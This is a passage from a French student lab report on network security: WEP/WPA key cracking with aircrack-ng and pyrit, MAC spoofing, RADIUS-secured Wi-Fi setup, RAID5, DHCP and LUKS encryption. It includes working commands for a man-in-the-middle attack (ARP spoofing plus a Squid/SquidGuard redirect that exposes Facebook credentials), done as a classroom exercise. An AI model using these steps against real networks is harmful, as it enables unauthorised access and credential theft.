Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.
Dans le nouveau terminal, nous entrons :
aircrack-ng fichier*.cap

Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :
KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]

==== Crackage WPA ====
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.

Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :
crunch 8 8 0123456789 -o dictionnaire.txt

On peut maintenant lancer le bruteforce avec la commande :
aircrack-ng file.cap -w dictionnaire.txt
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :
pyrit -r file.cap -i dictionnaire.txt attack_passthrough

===== Les résultats =====
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.
crunch 8 8 012389 -o dictionnaire.txt

Utilisation d'aircrack
$ time aircrack-ng out-01.cap -w dic.txt
Aircrack-ng 1.2 rc3

[00:01:36] 404340 keys tested (4197.19 k/s)

KEY FOUND! [ 12399903 ]

Master Key : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87
40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93

Transient Key : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82
7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE
F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9
BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94

EAPOL HMAC : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B

real 1m37.298s
user 12m55.440s
sys 0m0.112s

La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.

Utilisation de pyrit
$ time pyrit -r out-01.cap -i dic.txt attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'out-01.cap' (1/1)...
Parsed 30 packets (30 802.11-packets), got 1 AP(s)

Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.
Tried 440022 PMKs so far; 24749 PMKs per second.

The password is '12399903'.

real 0m21.305s
user 2m20.100s
sys 0m8.448s

La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.

==== Connexion à l'AP autorisé ====

On modifie le fichier /etc/network/interfaces

On commente #auto eth0

On configure wlan0 :

auto wlan0
iface wlan0 inet static
address 172.26.79.63
netmask 255.255.240.0
gateway 172.26.79.254
wireless-essid troubadour
wireless-mode managed

La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.

==== Connexion à l'AP filtré ====

On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.

On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:19:f3
ifconfig wlan0 up

On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !

=== Configuration des Points d'Accès WiFi ===

Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.

On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.

Dans un premier temps, nous avons configuré un serveur <code>FreeRadius</code> pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier <code>/etc/freeradius/</code>.
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :

myusername Cleartext-password := "myclearpassword"

On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :

client E304 {
ipaddr = 10.10.10.1
secret = anotherpassword
}

client VLAN13 {
ipaddr = 172.20.13.0
netmask = 24
secret = anotherpassword
}

Il est important d'ajouter aussi un client pour la salle E306.

On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :
eap {
default_eap_type = peap
peap {
default_eap_type = mschapv2
}
}

On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :
conf t

aaa new-model
aaa authentication login eap_chimay group radius_chimay
radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword
aaa group server radius radius_chimay
server 193.48.57.163 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_CHIMAY
vlan 13
authentication open eap eap_chimay
authentication network-eap eap_chimay
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 13 mode ciphers aes-ccm tkip
ssid SSID_CHIMAY

exit

interface Dot11Radio0.13
encapsulation dot1Q 13
no ip route-cache
bridge-group 13
bridge-group 13 subscriber-loop-control
bridge-group 13 spanning-disabled
bridge-group 13 block-unknown-source
no bridge-group 13 source-learning
no bridge-group 13 unicast-flooding

exit

interface GigabitEthernet0.13
encapsulation dot1Q 13
bridge-group 13

exit

exit

On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :
auto wlan0
iface wlan0 inet static
address 172.20.13.12
netmask 255.255.255.0
gateway 172.20.13.254
wpa-ssid SSID_CHIMAY
wpa-key-mgmt WPA-EAP
wpa-identity myusername
wpa-password mycleanpassword

Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.

=== Sécurisation des données ===

Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :

lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v

Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :
'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',
'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',
'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',

Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 :
apt-get install mdadm

On crée le volume md0 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

On vérifie que le volume est bien monté :
fdisk -l
Renvoie :
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

Un mdam --detail nous montre plus de détails sur la partition :
root@chimay:~# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Mon Nov 30 15:29:04 2015
Raid Level : raid5
Array Size : 2095104 (2046.34 MiB 2145.39 MB)
Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Mon Nov 30 15:29:04 2015
State : clean
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : chimay:0 (local to host chimay)
UUID : 72cc8ab9:4063c466:b04894e4:2b38e399
Events : 0
Number Major Minor RaidDevice State
0 202 48 0 active sync /dev/xvdd
1 202 64 1 active sync /dev/xvde
2 202 80 2 active sync /dev/xvdf

=== Configuration d'un PCBX ===
==== Installation et mise en place d'un serveur DHCP ====

On commence par installer le serveur DHCP sur l'eeePC :
apt-get install isc-dhcp-server

On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :
subnet 172.20.13.0 netmask 255.255.255.0 {
range 172.20.13.10 172.20.13.50;
option routers 172.20.13.1;
}

Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :

[[Fichier:wifi.PNG |thumb|center| 200px|<center>Adresse IP obtenue via DHCP</center>]]

=== Attaque Man in the Middle ===
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.
Le hack se fait de la manière suivante :
1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)
2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.
Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.
3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.
4. Profit

==== Configuration de Squid ====
# Fichier /etc/squid3/squid.conf
acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off # Masque notre ip dans le header HTTP
http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 intercept # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard

==== Configuration de SquidGuard ====
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.
# Fichier /etc/squidguard/squidGuard.conf
dbhome /usr/local/squidGuard/db # Dossier parent de la base de données

dest fb-login { # Définition des urls/domaines à rediriger
urllist facebook/url
}

acl {
default {
pass !fb-login all # Laisser passer tout ce qui ne concerne pas Facebook
redirect http://127.0.0.1/ # Rediriger le trafic vers notre serveur Apache local
}
}

# Fichier /usr/local/squidGuard/db/facebook/url
fr-fr.facebook.com

Pour lancer le proxy, dans une console :
squidGuard -C all # Génération de la base de données (à faire à chaque modification des fichiers db)
squid3 -z # Vérification de la configuration de Squid
service squid start
service squid status # Pour vérifier qu'il n'y a pas d'erreurs
vim /var/log/squidguard/squidGuard.log

S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :
chown -R proxy:proxy /var/log/squid3 /var/lib/squidguard
chown -R proxy:proxy /var/log/squidguard
chown -R proxy:proxy /usr/local/squidGuard

==== Configuration iptables et redirection ====
Ici nous allons configurer la redirection du trafic.
echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à la cible
iptables -t nat -A PREROUTING -s <ip serveur squid> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid
iptables -t nat -A POSTROUTING -j MASQUERADE # Masque l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid

Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.

==== Détournement du trafic ====
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :
arpspoof -i <interface> -t <ip cible> <ip gateway>
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.

=== Cryptage de données ===
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de <code>cryptsetup</code>.
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :
fdisk -l
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1
Nous pouvons maintenant créer une partition cryptée avec :
cryptsetup luksFormat -c aes -h sha256 /dev/sdb1
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :
cryptsetup luksDump /dev/sdb1
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mkfs.ext3 /dev/mapper/<nom_du_disque>
On peut maintenant monter la partition dans un dossier :
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

Pour accéder à la carte SD :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
// Opérations ici
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>